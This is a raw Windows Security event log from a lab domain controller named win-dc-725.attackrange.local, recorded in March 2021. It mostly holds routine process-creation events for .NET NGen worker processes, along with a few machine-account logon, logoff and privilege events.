EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255323
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 984 -InterruptEvent 0 -NGENProcess 930 -Pipe a10 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255322
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a14 -InterruptEvent 0 -NGENProcess 930 -Pipe 9d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255321
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 9c0 -Pipe a18 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255320
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 930 -Pipe a08 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255319
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 9f0 -Pipe 870 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255343
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a94 -InterruptEvent 0 -NGENProcess a44 -Pipe a6c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255342
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a44 -InterruptEvent 0 -NGENProcess a64 -Pipe a78 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255341
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc58
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a98 -InterruptEvent 0 -NGENProcess a64 -Pipe a9c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255340
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x2EB709

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255339
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x2EB709
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62558

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255338
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x2EB709

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255337
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess a64 -Pipe a88 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255336
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a64 -InterruptEvent 0 -NGENProcess a44 -Pipe a28 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255335
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess a44 -Pipe 81c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255334
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a44 -InterruptEvent 0 -NGENProcess a6c -Pipe a74 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255333
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a6c -InterruptEvent 0 -NGENProcess a54 -Pipe a70 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255332
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a44 -InterruptEvent 0 -NGENProcess a54 -Pipe a58 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255331
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess a50 -Pipe a2c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255330
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a5c -InterruptEvent 0 -NGENProcess 9c0 -Pipe a60 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255329
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
